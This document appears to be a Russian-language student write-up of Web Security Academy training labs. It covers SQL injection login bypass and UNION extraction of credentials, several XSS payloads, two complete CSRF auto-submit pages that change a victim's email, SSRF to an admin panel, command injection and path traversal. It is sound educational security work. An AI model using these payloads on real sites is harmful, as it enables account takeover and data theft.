# Web 3
Скрины с доказательствами выполнения лаб:








# SQL-injection уязвимости
## login-bypass
**Зайдём в "интернет-магазин" и попробуем залогинится так, чтобы запрос говорил "не смотри на следующее поле"
Логин: administrator'--
Пароль: любой**

**Зашли успешно**

**Сменили почту админа**

## Показать все товары, которые даже сняты с продажи или проданы
**Меняем запрос и добавляем конструкцию, которая всегда возвращает правду, поэтому с помощью неё можно выгрузить всю таблицу, но чтобы запрос игнорировал на всякий случай всё то, что может идти после, добавим "--"
**
**Результат**

**Отметка о выполнении лабы**

## Атака UNION SQL-инъекций
Также меняем запрос. Но здесь уже схема с объединением двух разных запросов с помощью UNION. Вместе с информацией об аксессуарах вывести username, password из таблицы пользователей

Получили, взяли пароль от админа, ввели

Прошли на сайт аки админ всея SQL

## Burp Suite
Для выполнения этой лабораторной используется Burp Suite
Открываем его браузер, заходим в категорию pets, далее по инструкции со скриншота

Перехлди в раздел Repeator и в нашем запросе добавляем union с одним полем, увидели ошибку

Тоже самое, но добавим ещё поле. Ошибки нет, значит в их бд всего два столбца

Теперь выведем строку версии бд

# XSS уязвимости
## Уязвимость межсайтового скриптинга в функциональности комментариев.
Напишем любое имя и почту, ссылку на сайт, на котором сидим, и текст комментария `<script>alert(1)</script>`

успешно закончили лабу (да, это всё)

а комментарии пустые, кстати, просто потому, что текст из него был воспринят частью запроса и исполнен (вызывает функцию оповещения при просмотре записи в блоге), а не записан текстом

## Уязвимость межсайтового скриптинга на основе DOM в функциональности поисковых запросов.
Нам нужно сделать так, чтобы наш запрос в поисковой строке выводился потом не как изображение, например, так происходит с jump

Введём `"><svg onload=alert(1)>`, кавычки и уголок как раз закроют img и наше слово не окажется "заключенным" там)

## Отраженный DOM и JS
Любую ерунду пишем, запрос в повторитель кидаем

Анализируем запрос и видим, как отражаются строки, введённые в поисковую строку

Понимаем, как сломать, нам нужно закрыть кавычки, поэтому введём '-alert(1)-'

Предупреждение выведено

Если скопируем ссылку и втавим её в поисковик, предупреждение появится снова

## Отраженный DOM и JSON
Нам нужно запустить функцию alert(). Для этого сначала проанализируем запросы. Введём в поисковой строке XSS. Увидим, что данные отправляют ответ в json-объекте

Здесь просто перешли в прикольном приложении в другю вкладку, нашли папку с js файлами.

Увидели, что json-объект использует функцию eval(). Что она делает? Обрабатывает входную строку и исполняет содержащееся в строке выражение, также так как мы работаем с json, нужно вспомнить его экранирование символов: обратный слеш не экранируется, кавычки экранируются им. Получается, что при вводе в поисковую строку `\"-alert(1)}//`, кавычки экранируются \, что даёт `\\"-alert(1)}//` -> `"-alert(1)}` (именно эту строку и будет исполнять функция eval(), поэтому после этого запроса, мы увидим предупреждение

Предупреждение

Успех)

# CSRF
## Подмена почты
Заходим в аккаунт с данными из задания, меняем почту

Поменяли

Теперь пишем эксплойт, вставляем на сервер и применяем

Почта изменилась (перед тем, как лаба была пройдена, нажата третья кнопка)

Сам код
```
<html>
<body>
<script>history.pushState('' , '', "/") </script>
<form method="POST" action="https://0a9200ec03232ac1c0236f5100a10025.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="SuperMAN@sdcghj.com" />
<input type="sumbit" value="Sumbit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
```
## Подмена почты с помощью post запроса
Зашли и поменяли почту

Нашли нужный запрос, отправили его в повторитель

Меняем запрос
Было

Стало (правая кнопка -> изменить метод)

Изменяем csrf и посылаем запрос

Пишем скрипт
<html>
<body>
<script>history.pushState('' , '', "/") </script>
<form action="https://0a7700a7039786d4c0c1968100e2006b.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="aaaa#64;gg.com" />
<input type="hidden" name="csrf" value="12345" />
<input type="sumbit" value="Sumbit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Применяем как и в пункте выше


# SSRF
## Удаление Карлоса
Перехватываем запрос и меняем конец, пишем сайт, куда подключиться нужно

Отправляем новый запрос, нам открывается страница админа

Удаляем карлоса (
было

стало


## Удаляем Карлоса второй раз
Такой же алгоритм (изменяем stockapi, последняя строчка, чтобы увидеть панель админа)

Теперь чтобы удалить Карлоса

Результат

Лаба готова

# RCE
Просто в конце запроса написали команду

Вывели, хто мы

Приняли

# Path traversal
## File path traversal, simple case
Было

Стало

Получили результат

## File path traversal, traversal sequences blocked with absolute path bypass
Изменили запрос в этом месте:

Получили такой ответ:

![Uploading file..._j3au7xlxn]()